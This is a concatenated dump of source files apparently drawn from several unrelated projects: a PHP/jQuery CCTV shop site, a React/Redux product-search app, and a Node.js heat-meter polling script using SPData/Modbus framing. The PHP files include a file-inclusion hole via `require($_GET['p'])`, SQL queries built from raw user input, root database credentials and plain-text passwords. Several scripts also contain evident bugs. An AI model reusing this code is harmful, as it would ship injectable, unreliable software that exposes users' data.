<link rel="stylesheet" href="../css/login.css">
<title>Smartcom2CCTV</title>
</head>
<body>
<script>
$(function(){
$("#register").click(function(e){
e.preventDefault();
$("#popup_register,#modal_regis").fadeIn();
});
$('#modal_regis').click(function(){
$("#popup_register,#modal_regis").fadeOut();
});
$("#login").click(function(e){
e.preventDefault();
$("#popup_login,#modal_login").fadeIn();
});
$('#modal_login').click(function(){
$("#popup_login,#modal_login").fadeOut();
})
});
</script>
<header>
<?php
if(isset($_SESSION['username']) && $_SESSION['level']=='0'){
require"userlogin.php";
}else if(isset($_SESSION['username']) && $_SESSION['level']=='1'){
require"adminlogin.php";
}else{
?>
<div style="float: right;padding-right: 10px">
<table>
<tr>
<td> ( </td>
<td><a id="login" style="cursor: pointer"><b>Login</b></a></td>
<td> | </td>
<td><a id="register" style="cursor: pointer"><b>Register</b></a></td>
<td> ) </td>
</tr>
</table>
</div>
<?php
}
?>
</header>
<div id="logo"></div>
<!-- <div style="height: 2px;background-color: azure"></div>-->
<div id='cssmenu'>
<ul style="margin-top: -12px">
<li class='active'><a href='index.php?p=home.html'><span>หน้าแรก</span></a></li>
<li><a href='index.php?p=product.php'><span>สินค้า</span></a></li>
<li><a href='#'><span>โปรโมชั่น</span></a></li>
<li><a href='index.php?p=howto.html'><span>วิธีสั่งซื้อสินค้า</span></a></li>
<li><a href='#'><span>สินค้าส่งเคลม</span></a></li>
<li><a href='#'><span>เกี่ยวกับเรา</span></a></li>
<li><a href='#'><span>ติดต่อเรา</span></a></li>
<li class='last'><a href='#'><span>รถเข็น</span></a></li>
</ul>
</div>
<table style="margin-left: auto;margin-right: auto;">
<tr>
<td id="menuleft" style="vertical-align: top">
<div><?php include"menu_prd.php" ?></div>
</td>
<td id="container">
<?php
if(isset($_GET['p'])){
@require($_GET['p']);
}else{
require ('home.html');
}
?>
</td>
</tr>
</table>
<!--form Register-->
<div id="popup_register">
<!--<table style="width: 500px;background-color: #FFE4C4;border: 1px solid #000000;border-radius: 5px">-->
<table>
<tr>
<td style="text-align: center;height: 20px;background-color: #FFA217;border: 1px solid #FF0000" colspan="3">
<b>REGISTER</b>
</td>
</tr>
<tr>
<td style="width: 145px;font-size: 16px"><label>USERNAME:</label></td>
<td><input maxlength="15" style="width: 180px;font-size: 14px" type="text" id="username" name="username" pattern="[A-Za-z0-9] required ></td>
<td><span class="st_user"></span></td>
</tr>
<tr>
<td><label style="font-size: 16px">PASSWORD:</label></td>
<td><input maxlength="15" style="width: 180px;font-size: 14px" type="password" id="password" name="password" required></td>
<td><span class="st_pass"></span></td>
</tr>
<tr>
<td><label>Comfirm Password:</label></td>
<td><input maxlength="15" style="width: 180px" type="password" id="re_pwd" name="re_pwd" required></td>
<td><span class="st_conpass"></span></td>
</tr>
<tr>
<td><label>ชื่อ-สกุล:</label></td>
<td><input style="width: 180px" type="text" id="name" name="name" required></td>
<td><span class="st_name"></span></td>
</tr>
<tr>
<td><label>ที่อยู่จัดส่งสินค้า:</label></td>
<td><textarea style="width: 180px;height: 100px;resize: none" id="address" name="address" required></textarea></td>
<td><span class="st_address"></span></td>
</tr>
<tr>
<td><label>รหัสไปรษณีย์:</label></td>
<td><input style="width: 180px" type="text" id="zipcode" name="zipcode" required></td>
<td><span class="st_zipcode"></span></td>
</tr>
<tr>
<td><label>เบอร์โทรศัพท์:</label></td>
<td><input style="width: 180px" type="telnum" id="telnum" name="telnum" required></td>
<td><span class="st_tel"></span></td>
</tr>
<tr>
<td><label>E-mail:</label></td>
<td><input style="width: 180px" type="email" id="email" name="email" required></td>
<td><span class="st_email"></span></td>
</tr>
<tr>
<td style="color: red;text-align: center;height: 50px;float: right;" colspan="3">
กรุณากรอกข้อมูลให้ครบทุกช่อง เพื่อความสะดวกในการจัดส่งสินค้าของท่าน
</td>
</tr>
<tr>
<td colspan="2"><input class="submit_btn" type="submit" value="SUBMIT" name="submit"></td>
<!-- <td><a href="../page/index.php"><button style="cursor: pointer;width: 100px;float: inherit">CANCEL</button></a></td>-->
</tr>
</table>
<div id="successregister">
<label>Register Complete.</label><br>
<button id="successregister_btn">Success</button>
</div>
</div>
<div id="modal_regis"></div>
<!--form Register-->
<!--loginform-->
<table align="center" id="popup_login">
<tr>
<td>Username:</td>
<td><input type="text" maxlength="15" id="loginusername" name="username"></td>
</tr>
<tr>
<td>Password:</td>
<td><input type="<PASSWORD>" maxlength="15" id="loginpassword" name="password"></td>
</tr>
<tr>
<td colspan="2">
<button type="submit" id="login_submit" name="login" style="float: right;width: 90px">SIGN IN</button>
</td>
</tr>
</table>
<div id="modal_login"></div>
<!--loginform-->
</body>
</html><file_sep>$(document).ready(function(){
var user = 'n';
var pass = 'n';
$('#username').focusout(function(){
$.ajax({
url:"../sql_db/checkusername.php",type:"POST",
data:{
username:$('username').val()
},
success:function(data){
if(data = 'Good'){
$('.st_user').html('<img src="../img/icon/yes.png"');
user = 'y';
}else{
$('st_user').html('<img src="../img/icon/no.png">');
user = 'n';
}
}
})
});
$('#password').focusout(function(){
if($('#password').val()!=""){
$('st_pass').html('<img src="../img/icon/yes.png">');
}else{
$('st_pass').html('<img src="../img/icon/no.png">');
}
});
$('#re_pwd').focusout(function(){
if($('#re_pwd').val()!=""){
$('st_conpass').html('<img src="../img/icon/yes.png"');
} else{
$('st_conpass').html('<img src="../img/icon/no.png"');
}
});
$('#name').focusout(function(){
if($('#name').val()!=""){
$('st_name').html('<img src="../img/icon/yes.png"');
}else{
$('st_name').html('<img src="../img/icon/no.png">');
}
});
$('#address').focusout(function(){
if($('#address').val()!=""){
$('st_address').html('<img src="../img/icon/yes.png" ');
}else{
$('st_address').html('<img src="../img/icon/no.png" ');
}
});
$('#zipcode').focusout(function(){
if($('#zipcode').val()!=""){
$('st_zipcode').html('<img src="../img/icon/yes.png"');
}else{
$('st_zipcode').html('<img src="../img/icon/no.png" ');
}
});
$('#telnum').focusout(function(){
if($('#telnum').val()!=""){
$('st_tel').html('<img src="../img/icon/yes.png"');
}else{
$('st_tel').html('<img src="../img/icon/no.png"');
}
});
$('#email').focusout(function(){
if($('#email').val()!=""){
$('st_email').html('<img src="../img/icon/yes.png"');
}else{
$('st_email').html('<img src="../img/icon/no.png"');
}
});
$('.submit_btn').click(function(){
$.ajax({
url:"../sql_db/checkusername.php",type:"POST",
data:{
username:$('#username').val()
},
success:function(data){
if(data=="Good"&&user=='y'&&pass=='y'&&($('#name').val()!="")&&($('#address').val()!="")&&($('#zipcode').val()!="")&&($('#telnum').val()!="")&&($('#email').val()!="")){
Saveregister();
}else{
$('.submitcheck').html("! คุณใส่ข้อมูลผิดพลาด หรือข้อมุลไม่ครบ กรุณาตรวจสอบอย่างละเอียดด้วยค่ะ");
}
}
});
});
function Saveregister(){
$.ajax({
url:"../sql_db/saveregister.php",type:"POST",
data:{
name:$("#name").val(),address:$("#address"),zipcode:$("#zipcode"),email:$("#email").val(),
telnum:$("#telnum").val(),username:$("#username").val(),password:$("#<PASSWORD>").val()
},
success:function(data){
if(data=="Good"){
$('#popup_register').fadeOut(500,function(){
$('#successregister').fadeIn(500);
});
}else{
alert(data);
}
}
});
}
});<file_sep><?php
//function connect_db(){
// $link = mysqli_connect('localhost','root','1234','smartcom2shop');
// if($link == false){
// die(" ! Don't Connect Database");
// }else{
// mysqli_query($link, 'SET NAMES UTF-8');
// return $link;
// }
//}
?>
<?php
mysql_query("SET collation_connection=utf8_general_ci");
mysql_query("SET NAMES UTF8");
mysql_query("SET character_set_results=utf8");
mysql_query("SET character_set_client=utf8");
mysql_query("SET character_set_connection=utf8");
$link = mysqli_connect('localhost','root','1234','smartcom2shop');
if($link == false){
die(" ! Don't Connect Database");
}else{
//echo 'success';
return $link;
}
?><file_sep><?php
$user = $_POST['username'];
$pass = $_POST['<PASSWORD>'];
$name = $_POST['re_pwd'];
$address = $_POST['address'];
$zipcode = $_POST['zipcode'];
$telnum = $_POST['telnum'];
$email = $_POST['email'];
include("connect.php");
$sql = "INSERT into login (username = '$user', password = <PASSWORD>', level = '0', name_user = '$name', location = '$address', tel_user = '$telnum', zipcode = '$zipcode', email = '$email',active = 'y')";
$sql_query = mysqli_query($link,$sql);
if($sql_query){
echo"Good";
}else{
echo"Unsuccessful";
}<file_sep><?php
include("connect.php");
$username = $_POST['username'];
$password = $_POST['<PASSWORD>'];
$name = $_POST['name_user'];
$address = $_POST['location'];
$sql = "SELECT * FROM login WHERE "
?><file_sep><? session_start(); ?>
<link rel="stylesheet" href="../css/configuser.css">
<meta charset="UTF-8">
<html>
<head>
<title></title>
</head>
<?php
include"../sql_db/connect.php";
$sql = "SELECT * FROM login WHERE username = '$_SESSION[username]', name_user = '$_SESSION[name]'";
$query = mysqli_query($link,$sql);
$row = mysqli_fetch_array($query);
?>
<body>
<div id="mainbox">
<div id="headconfig">Edit Profile</div>
<div id="configbox">
<div id="subheader">Member Information</div>
<table>
<tr>
<td>Username : </td>
<td><? echo"$row[username]"; ?></td>
<!-- --><?// echo("<td>$row[username]</td>"); ?>
</tr>
</table>
</div>
</div>
</body>
</html><file_sep><?php
$username = $_POST['username'];
$password = $_POST['<PASSWORD>'];
include("connect.php");
$sql = "SELECT * FROM login WHERE username = '$username' AND password = '$<PASSWORD>'";
$result = mysqli_query($link,$sql);
$row = mysqli_fetch_array($result);
if($row>0){
session_start();
$_SESSION['name'] = $row['name_user'];
$_SESSION['username'] = $row['username'];
$_SESSION['level'] = $row['level'];
$_SESSION['address'] = $row['location'];
$_SESSION['zipcode'] = $row['zipcode'];
$_SESSION['tel_num'] = $row['tel_user'];
$_SESSION['email'] = $row['email'];
echo "Your Login Successful";
}else{
echo "Unsuccessful";
}<file_sep><html>
<head>
<title></title>
<meta http-equiv=Content-Type content="text/html; charset=utf-8">
</head>
<body>
<? include"../sql_db/connect.php";
$sql = "SELECT * FROM product ORDER BY id_prd";
$query = mysqli_query($link,$sql);
while($row = mysqli_fetch_array($query)){
echo("<tr>");
echo("<td>$row[name_prd]</td>");
echo("<td>$row[detail]</td>");
echo("<td>$row[price]</td>");
echo("</tr>");
}
?><file_sep><?php
include("connect.php");
$username = $_POST['username'];
$sql = "SELECT * FROM login WHERE username = '$username'" ;
$sql_query = mysqli_query($link,$sql);
$row = mysql_fetch_array($sql_query);
if($row > 0){
echo"Bad";
}else{
echo"Good";
}
?> | c005f6187287a746451d26b8837e12a43fbaddde | [
"JavaScript",
"PHP"
] | 13 | PHP | empire2008/cctv-ver2 | b1267cd0eda4c2c454a4e0bce5c519aa281ca7d5 | 31efd4e12b8c935eb9dabc7b4a32365a80f215d4 |
refs/heads/master | <repo_name>ddiasfront/meli-app<file_sep>/app/routes/index.js
import React from 'react'
import { Provider } from 'react-redux'
import { Router, Route, IndexRoute } from 'react-router'
import configureStore from 'store/configureStore'
import App from 'containers/App'
import Produtos from 'containers/Produtos'
import DetalheProduto from 'containers/DetalheProduto'
export default function(history) {
return (
<Router history={history}>
<Route path="/" component={App}>
<Route path="produto/:id" component={DetalheProduto} />
<Route path="produtos" component={Produtos} />
<Route path="produtos/:id" component={Produtos} />
<IndexRoute component={Produtos} />
</Route>
</Router>
)
}
<file_sep>/app/components/Produto.js
import React, { Component } from 'react'
import Helmet from 'react-helmet'
import PropTypes from 'prop-types'
import { Divisor, ProdutoWrapper, ProdutoImg, Wrapper, PriceText, CityText, ProdListTitle , ProductLink} from '../styled'
class Produto extends Component {
render() {
let { produto } = this.props
const RenderIconFreeShipping = () => {
if (this.props.searchDetails.shipping.freeShipping) {
return (
<img src="../assets/images/ic_shipping.png"/>
)
}
}
return (
<ProdutoWrapper>
<Helmet
title={'Produtos '}
/>
<Wrapper wrapperPadding="0 0 16px 0px">
<Wrapper flexSize="2">
<Wrapper wrapperWidth="auto">
<ProdutoImg src={this.props.searchDetails.thumbnail} />
</Wrapper>
<Wrapper flexDirecion="column" wrapperWidth="auto">
<PriceText>{'$ ' + this.props.searchDetails.price} {RenderIconFreeShipping()}</PriceText>
<ProdListTitle> {this.props.searchDetails.title}</ProdListTitle>
</Wrapper>
</Wrapper>
<Wrapper flexDirecion={"row"} flexSize="0.38">
<Wrapper wrapperWidth="auto">
<CityText>{this.props.searchDetails.sellerAddress.city.name}</CityText>
</Wrapper>
</Wrapper>
</Wrapper>
<Divisor/>
<ProductLink to={`/produto/${this.props.searchDetails.id}`}/>
</ProdutoWrapper>
)
}
}
Produto.propTypes = {
id: PropTypes.string
}
export default Produto
<file_sep>/app/styled/index.js
export * from './nav-search'
export * from './produto-list'<file_sep>/app/reducers/index.js
import { combineReducers } from 'redux'
import produtos from 'reducers/produtos'
import produtoDetail from 'reducers/produtoDetail'
const rootReducer = combineReducers({
produtos,
produtoDetail
})
export default rootReducer
<file_sep>/README.md
# UNIVERSAL REACT-REDUX APP - MELI
## 1 - CLONAR O REPOSITÓRIO
`````
GIT CLONE https://github.com/ddiasfront/meli-app.git
`````
## 2 - INSTALAR DEPENDENCIAS
`````
SE ESTIVER USANDO NPM RODAR - NPM INSTALL
CASO ESTEJA USANDO YARN - YARN INSTALL
`````
## 3 - RODAR VERSAO DE DESENVOLVIMENTO
````
YARN START
OU NPM RUN START
````
## 4 - CONSTRUIR VERSÃO DE PRODUÇÃO
````
YARN BUILD
OU NPM RUN BUILD
````
## STACK DE DESENVOLVIMENTO
``````````````````
REACT UNIVERSAL - OTIMIZADO PARA SEO ( NODEJS EXPRESS SERVER SIDE + REACTJS CLIENT SIDE)
REDUX
IMMUTABLE
STYLED COMPONENTS
`````````````````"# meli-app"
"# meli-app"
<file_sep>/app/actions/produtos.js
import { CALL_API, CHAIN_API } from 'middleware/api'
export const LOADED_PRODUTOS = Symbol('LOADED_PRODUTOS')
export function loadProdutos() {
return {
[CALL_API]: {
method: 'get',
path: '/sites/MLA/search?q=produto',
successType: LOADED_PRODUTOS
}
}
}
export const SEARCHED_PRODUTOS = Symbol('SEARCHED_PRODUTOS')
export function searchProdutos(inputValue) {
return {
[CALL_API]: {
method: 'get',
path: '/sites/MLA/search?q=' + inputValue,
successType: SEARCHED_PRODUTOS
}
}
}
export const LOADED_PRODUCT_DETAIL = Symbol('LOADED_PRODUCT_DETAIL')
export const LOADED_PRODUCT_DESC = Symbol('LOADED_PRODUCT_DESC')
export function loadProductDetail (id) {
return {
[CHAIN_API]: [
()=> {
return {
[CALL_API]: {
method: 'get',
path: `/items/${id}/`,
successType: LOADED_PRODUCT_DETAIL,
afterError: ()=> {
history.push('/')
}
}
}
},
(productdetail) => {
let idRequest = productdetail.id
return {
[CALL_API]: {
method: 'get',
path: `/items/${idRequest}/description/`,
successType: LOADED_PRODUCT_DESC
}
}
}
]
}
}
export const LOADED_QUESTION_DETAIL = Symbol('LOADED_QUESTION_DETAIL')
export const LOADED_QUESTION_USER = Symbol('LOADED_QUESTION_USER')
export function loadQuestionDetail ({ id, history }) {
return {
[CHAIN_API]: [
()=> {
return {
[CALL_API]: {
method: 'get',
path: `/api/questions/${id}`,
successType: LOADED_QUESTION_DETAIL,
afterError: ()=> {
history.push('/')
}
}
}
},
(question) => {
return {
[CALL_API]: {
method: 'get',
path: `/api/users/${question.userId}`,
successType: LOADED_QUESTION_USER
}
}
}
]
}
}
<file_sep>/app/helpers/accetsMapper.js
function accentsMapper(s) {
return s.toLowerCase()
.replace(/[ÄÁÀÂÃàáâã]/gi, 'a')
.replace(/[ç]/gi, 'c')
.replace(/[èéê]/gi, 'e')
.replace(/[ìí]/gi, 'i')
.replace(/[òóôõ]/gi, 'o')
.replace(/[ùúû]/gi, 'u');
}
export default accentsMapper;<file_sep>/app/styled/produto-list.js
import styled from 'styled-components';
import { Link } from 'react-router'
import { Wrapper } from './index'
export const ProdutoWrapper = Wrapper.extend`
max-width:1200px;
background-color: #fff;
padding: 16px;
flex-direction: column;
position:relative;
`
export const ProdutoImg = styled.img`
width:180px;
height:180px;
border-radius:4px;
padding-right:16px;
`
export const PriceText = styled.span`
font-size:24px;
color: #333;
margin-bottom:32px;
padding-top:16px;
`
export const CityText = styled.span`
color: #999;
font-size:12px;
padding-top: 30px;
`
export const ProdListTitle = styled.h4`
font-size:18px;
color:#333;
`
export const Divisor = styled.div`
width:100%;
height:1px;
background-color:#eee;
`
export const ProductLink = styled(Link)`
position:absolute;
z-index:9999;
width: 100%;
height: 100%;
`
export const DetailImg = styled.img`
width:680px;
`
export const SalesState = styled.span`
font-size:14px;
color: #333;
padding-bottom:16px;
`
export const DetailTitle = styled.h1`
font-size:24px;
color:#333;
padding-bottom:32px;
font-weight:bold;
`
export const DetailPrice = styled.span`
font-size:46px;
color: #333;
padding-bottom:32px;
`
export const BotaoComprar = styled.button`
cursor:pointer;
width:100%;
height: 40px;
background-color: #3483FA;
display:flex;
border-radius: 5px;
color: #eee;
border:none;
outline:none;
font-size:16px;
flex-direction:column;
align-items:center;
padding-top:8px;
`
export const DescripcionTitle = styled.h4`
color:#333;
font-size:28px;
padding-bottom:32px;
`
export const DescriptionDesct = styled.p`
font-size:16px;
color:#999;
padding-bottom:32px;
` | 3d02444cf2d736d8409a70be198c1f6c14c455f4 | [
"JavaScript",
"Markdown"
] | 8 | JavaScript | ddiasfront/meli-app | 50b59f8a00bedd5b162aa5a218b3e08b3d046518 | 1e62f43e02b83bbb84e762260cc4dfa8a54af757 |
refs/heads/master | <file_sep>
/**
* Module dependencies.
*/
// подключим сеть
var net = require('net');
var fs = require('fs');
// библиотеки для подключения к SQL
var Connection = require('tedious').Connection;
var Request = require('tedious').Request;
var TYPES = require('tedious').TYPES;
var CRC_ARC_TAB = new Array(
0x0000,0xC0C1,0xC181,0x0140,0xC301,0x03C0,0x0280,0xC241,0xC601,0x06C0,0x0780,0xC741,0x0500,
0xC5C1,0xC481,0x0440,0xCC01,0x0CC0,0x0D80,0xCD41,0x0F00,0xCFC1,0xCE81,0x0E40,0x0A00,0xCAC1,
0xCB81,0x0B40,0xC901,0x09C0,0x0880,0xC841,0xD801,0x18C0,0x1980,0xD941,0x1B00,0xDBC1,0xDA81,
0x1A40,0x1E00,0xDEC1,0xDF81,0x1F40,0xDD01,0x1DC0,0x1C80,0xDC41,0x1400,0xD4C1,0xD581,0x1540,
0xD701,0x17C0,0x1680,0xD641,0xD201,0x12C0,0x1380,0xD341,0x1100,0xD1C1,0xD081,0x1040,0xF001,
0x30C0,0x3180,0xF141,0x3300,0xF3C1,0xF281,0x3240,0x3600,0xF6C1,0xF781,0x3740,0xF501,0x35C0,
0x3480,0xF441,0x3C00,0xFCC1,0xFD81,0x3D40,0xFF01,0x3FC0,0x3E80,0xFE41,0xFA01,0x3AC0,0x3B80,
0xFB41,0x3900,0xF9C1,0xF881,0x3840,0x2800,0xE8C1,0xE981,0x2940,0xEB01,0x2BC0,0x2A80,0xEA41,
0xEE01,0x2EC0,0x2F80,0xEF41,0x2D00,0xEDC1,0xEC81,0x2C40,0xE401,0x24C0,0x2580,0xE541,0x2700,
0xE7C1,0xE681,0x2640,0x2200,0xE2C1,0xE381,0x2340,0xE101,0x21C0,0x2080,0xE041,0xA001,0x60C0,
0x6180,0xA141,0x6300,0xA3C1,0xA281,0x6240,0x6600,0xA6C1,0xA781,0x6740,0xA501,0x65C0,0x6480,
0xA441,0x6C00,0xACC1,0xAD81,0x6D40,0xAF01,0x6FC0,0x6E80,0xAE41,0xAA01,0x6AC0,0x6B80,0xAB41,
0x6900,0xA9C1,0xA881,0x6840,0x7800,0xB8C1,0xB981,0x7940,0xBB01,0x7BC0,0x7A80,0xBA41,0xBE01,
0x7EC0,0x7F80,0xBF41,0x7D00,0xBDC1,0xBC81,0x7C40,0xB401,0x74C0,0x7580,0xB541,0x7700,0xB7C1,
0xB681,0x7640,0x7200,0xB2C1,0xB381,0x7340,0xB101,0x71C0,0x7080,0xB041,0x5000,0x90C1,0x9181,
0x5140,0x9301,0x53C0,0x5280,0x9241,0x9601,0x56C0,0x5780,0x9741,0x5500,0x95C1,0x9481,0x5440,
0x9C01,0x5CC0,0x5D80,0x9D41,0x5F00,0x9FC1,0x9E81,0x5E40,0x5A00,0x9AC1,0x9B81,0x5B40,0x9901,
0x59C0,0x5880,0x9841,0x8801,0x48C0,0x4980,0x8941,0x4B00,0x8BC1,0x8A81,0x4A40,0x4E00,0x8EC1,
0x8F81,0x4F40,0x8D01,0x4DC0,0x4C80,0x8C41,0x4400,0x84C1,0x8581,0x4540,0x8701,0x47C0,0x4680,
0x8641,0x8201,0x42C0,0x4380,0x8341,0x4100,0x81C1,0x8081,0x4040
);
function crcArcAdd(crc,c)
{
return CRC_ARC_TAB[(crc^c)&0xFF]^((crc>>8)&0xFF);
};
function crcModbusHex(buf,length)
{
var crc = 65535
for (var i = 0, len = length; i < len; ++i)
{
crc = crcArcAdd(crc, buf[i]);
}
return crc;
};
function crcfunc(buf,len)
{
var i,j;
var crc = 0;
i = 2;
len-=2;
while ( len-- > 0 )
{
var tmp = buf[i];
crc = ((crc&0xFFFF) ^ tmp << 8)&0xFFFF;
i++;
for ( j=0; j < 8; j++ )
{
if((crc&0x8000)>0) crc = (((crc << 1)&0xFFFF) ^ 0x1021)&0xFFFF;
else crc = (crc&0xFFFF) << 1;
}
}
buf[i] = (crc&0xFF00)>>8;
buf[i+1] = crc&0xFF;
}
var DLE = 0x10;
var SOH = 0x01;
var IS1 = 0x1F;
var STX = 0x02;
var ETX = 0x03;
// чтение архива
var READ_ARCH = 0x41;
var TSRV024 = 24;
var config = {
server: 'SERVERLAND', //'10.1.50.182',
userName: 'SQLUser',
password: '<PASSWORD>',
options: {
database: 'test_js_assv',
connectTimeout: 5000,
requestTimeout: 5000
}
};
// заполнение задания на чтение архива
function fill_task_read_archive(buf,datafrom,datato)
{
// число попыток
buf[9] = 3;
// только суточные
buf[10] = 1;
// дата от
buf[11] = datafrom[0];
buf[12] = datafrom[1];
buf[13] = datafrom[2];
buf[14] = datafrom[3];
// дата до
buf[15] = datato[0];
buf[16] = datato[1];
buf[17] = datato[2];
buf[18] = datato[3];
}
// запрос на чтение архива по модбасу
function read_modbus_archive_by_time(buf,archive,hour,day,mounth,year)
{
var tmp = new Buffer(15);
var crc;
tmp[0] = buf[10] = 0x01;
tmp[1] = buf[11] = 0x41;
tmp[2] = buf[12] = (archive&0xFF00)>>8; // номер архива
tmp[3] = buf[13] = archive&0xFF;
tmp[4] = buf[14] = 0x00; // количество записей
tmp[5] = buf[15] = 0x01;
tmp[6] = buf[16] = 0x01; // тип запроса
tmp[7] = buf[17] = 0; // секунды
tmp[8] = buf[18] = 0; // минуты
tmp[9] = buf[19] = hour; // часы
tmp[10] = buf[20] = day; // день
tmp[11] = buf[21] = mounth; // месяц
tmp[12] = buf[22] = year; // год
crc = crcModbusHex(tmp,13);
buf[23] = crc&0xFF;
buf[24] = (crc&0xFF00)>>8;
return 15;
}
function fill_modbus_request(buf)
{
}
// функция подготовки запроса чтения архивов у тсрв-024 по протоколу СПДанные
function preparation_request_tsrv24_archive(parameters)
{
var buf = new Buffer(23);
buf[0] = DLE;
buf[1] = SOH;
buf[2] = 0x00;
buf[3] = 0x00;
buf[4] = DLE;
buf[5] = IS1;
buf[6] = 0x3a;
buf[7] = DLE;
buf[8] = STX;
var datafrom = new Buffer(4);
var datato = new Buffer(4);
datafrom[0] = parameters.hour_from;
datafrom[1] = parameters.day_from;
datafrom[2] = parameters.mounth_from;
datafrom[3] = parameters.year_from;
datato[0] = parameters.hour_to;
datato[1] = parameters.day_to;
datato[2] = parameters.mounth_to;
datato[3] = parameters.year_to;
// задание на чтение архива
fill_task_read_archive(buf,datafrom,datato);
buf[19] = DLE;
buf[20] = ETX;
crcfunc(buf,21);
return buf;
}
// функция разбора ответа от 24го прибора архивы по протоколу СПДанные
function parsing_response_tsrv24_archive(data,socket)
{
var str = new Buffer(data.length);
var i = 0,j = 0;
// пропустим кадр СПДанных до начала данных ответа
while(!((data[i] == 0x10) && (data[i+1] == 0x02)))
{
i++;
}
{ // начало данных ответа
i+=2;
if((data[i] == 0x01) && (data[i+1] == 0x11))
{ // есть ответ версии
i+=2;j=0;
var len = data[i];
i++;
while(len--)
{
if(data[i] == DLE) {i++;};
str[j++] = data[i++];
}
i+=2; //контрольную сумму пропустим
console.log('первый ответ', str.toString());
}
while((data[i] == 0x01) && (data[i+1] == 0x03))
{ // есть ответ чтения регистров
i+=2;j=0;
var len = data[i]; // количество регистров (байтов*2)
i++;
i+=2; //контрольную сумму пропустим
console.log('регистры читаем');
}
while((data[i] == 0x01) && (data[i+1] == 0x41))
{ // есть ответ архивов
i+=2;j=0;
var len = data[i];
i++;
while(len)
{
if(data[i] == DLE) {i++;}
str[j++] = data[i++];
len--;
}
i+=2; //контрольную сумму пропустим
console.log('архив получен');
}
if((data[i] == 0x09) && (data[i+1] == 0x0C))
{ // конец посылки - положительный ответ - закроем сокет
socket.end();
}
}
}
// функция занесения разобранного ответа в базу sql
function saving_response_tsrv24_archive_sql()
{
}
// посылка запроса прибору
function send_request(ip_adress, // IP адрес прибора
port, // порт
preparation_request, // функция подготовки запроса
parsing_response, // функция обработки ответа
saving_response, // функция записи ответа
parameters) // параметры
{
var socket = new net.Socket();
// соединяемся
socket.connect(port,ip_adress,
// функция по конекту
function (connection) {
console.log('Socket connected to port %s', port);
var device = new Object();
var buf = preparation_request(parameters);
// пошлем посылку
socket.write(buf,function () {
console.log(buf);
console.log('write ok');
});
// ответ от прибора пришел - на разбор
socket.on('data',
function(data)
{
console.log(data);
parsing_response(data,socket,device,parameters);
});
// закрываем сокет
socket.on('end',function(){
console.log('socket end');
// вызовем функцию записи ответа
saving_response();
});
socket.on('close',function(){
console.log('socket close');
});
socket.on('timeout',function(){
console.log('socket timeout');
});
socket.on('error',function(){
console.log('socket error');
});
});
}
// функция
//function sendspd(func,port,modbus_func,device_type,archive_number)
function sendspd(func,port,modbus_func,device_type,archive_number)
{
var buf;
// архив вычислителя
var device = new Object();
var socket = new net.Socket();
socket.connect(port,"10.1.50.211"/*"192.168.3.11"*/,function (connection) {
console.log('Socket connected to port %s', port);
// законектились - отправим что-то
if(func == 0x28) // прямое обращение к прибору
{
buf = new Buffer(29);
buf[0] = DLE;
buf[1] = SOH;
buf[2] = 0x00;
buf[3] = 0x01;
buf[4] = DLE;
buf[5] = IS1;
buf[6] = func&0xFF;
buf[7] = 0xaa;
buf[8] = DLE;
buf[9] = STX;
var len;
if(modbus_func == 0x41) // чтение архива
{
if(typeof archive_number == 'undefined' ) var archive_number = 0;
// возьмем текущую дату
var now = new Date();
len = read_modbus_archive_by_time(buf,archive_number,now.getHours(),now.getDate(),now.getMonth()+1,now.getFullYear()-2000);
}
else if(modbus_func == 0x03) // чтение регистра
{
}
else if(modbus_func == 0x04)
{
}
else if(modbus_func == 0x06)
{
}
else if(modbus_func == 0x16)
{
}
//
buf[10+len] = DLE;
buf[11+len] = ETX;
crcfunc(buf,12+len);
//console.log(buf);
}
else if(func == 0x3a) // получение информации
{ // запрос архивов
buf = new Buffer(23);
buf[0] = DLE;
buf[1] = SOH;
buf[2] = 0x00;
buf[3] = 0x00;
buf[4] = DLE;
buf[5] = IS1;
buf[6] = func&0xFF;
buf[7] = DLE;
buf[8] = STX;
var datafrom = new Buffer(4);
var datato = new Buffer(4);
datafrom[0] = 0;
datafrom[1] = 1;
datafrom[2] = 3;
datafrom[3] = 13;
datato[0] = 0;
datato[1] = 5;
datato[2] = 3;
datato[3] = 13;
// задание на чтение архива
fill_task_read_archive(buf,datafrom,datato);
//
buf[19] = DLE;
buf[20] = ETX;
crcfunc(buf,21);
}
else if(func == 0x3E) // чтение архивов прибора
{ // функция запроса информации
buf = new Buffer(13);
buf[0] = DLE;
buf[1] = SOH;
buf[2] = 0x00;
buf[3] = 0x00;
buf[4] = DLE;
buf[5] = IS1;
buf[6] = func&0xFF;
buf[7] = DLE;
buf[8] = STX;
buf[9] = DLE;
buf[10] = ETX;
crcfunc(buf,11);
}
else if(func == 0x40) // чтение журнала АССВ
{
buf = new Buffer(13);
buf[0] = DLE;
buf[1] = SOH;
buf[2] = 0x00;
buf[3] = 0x00;
buf[4] = DLE;
buf[5] = IS1;
buf[6] = func&0xFF;
buf[7] = DLE;
buf[8] = STX;
buf[9] = DLE;
buf[10] = ETX;
crcfunc(buf,11);
}
else if(func == 0x88) // пароль
{
}
else
{ // пустое сообщение
buf = new Buffer(13);
}
// пошлем посылку
socket.write(buf,function () {
console.log('write ok');
});
socket.on('data',function(data){
var str = new Buffer(data.length);
var i = 0;
var j = 0;
console.log('1', data);
if(func == 0x28)
{
if(modbus_func == 0x41)
{ // разберем архив от прибора
var dt = new Date();
var offset = 13; // смещение в кадре спдата до модбас запроса
dt.setTime(data.readUInt32BE(offset)*1000);
console.log(dt.getDate());
if(device_type == TSRV024)
{ // тсрв-024
// имя
device.name = "tsrv024"
// время
device.record_time = dt;
// тепло и массы ТС
device.W1 = data.readFloatBE(84 + offset);
device.W2 = data.readFloatBE(88 + offset);
device.M1 = data.readFloatBE(92 + offset);
device.m1 = data.readFloatBE(112 + offset);
device.m2 = data.readFloatBE(116 + offset);
device.m3 = data.readFloatBE(120 + offset);
device.m4 = data.readFloatBE(124 + offset);
device.v1 = data.readFloatBE(128 + offset);
device.v2 = data.readFloatBE(132 + offset);
device.v3 = data.readFloatBE(136 + offset);
device.v4 = data.readFloatBE(140 + offset);
console.log('W1='+ device.W1 + ' W2=' + device.W2 + ' M1=' + device.M1);
}
}
// что то от асев получили - закроем сокет
socket.end();
}
else if(func == 0x3a)
{ // разбор архивов
// пропустим кадр СПДанных до начала данных ответа
while(!((data[i] == 0x10) && (data[i+1] == 0x02)))
{
i++;
}
{ // начало данных ответа
i+=2;
if((data[i] == 0x01) && (data[i+1] == 0x11))
{ // есть ответ версии
i+=2;j=0;
var len = data[i];
i++;
while(len--)
{
str[j++] = data[i++];
}
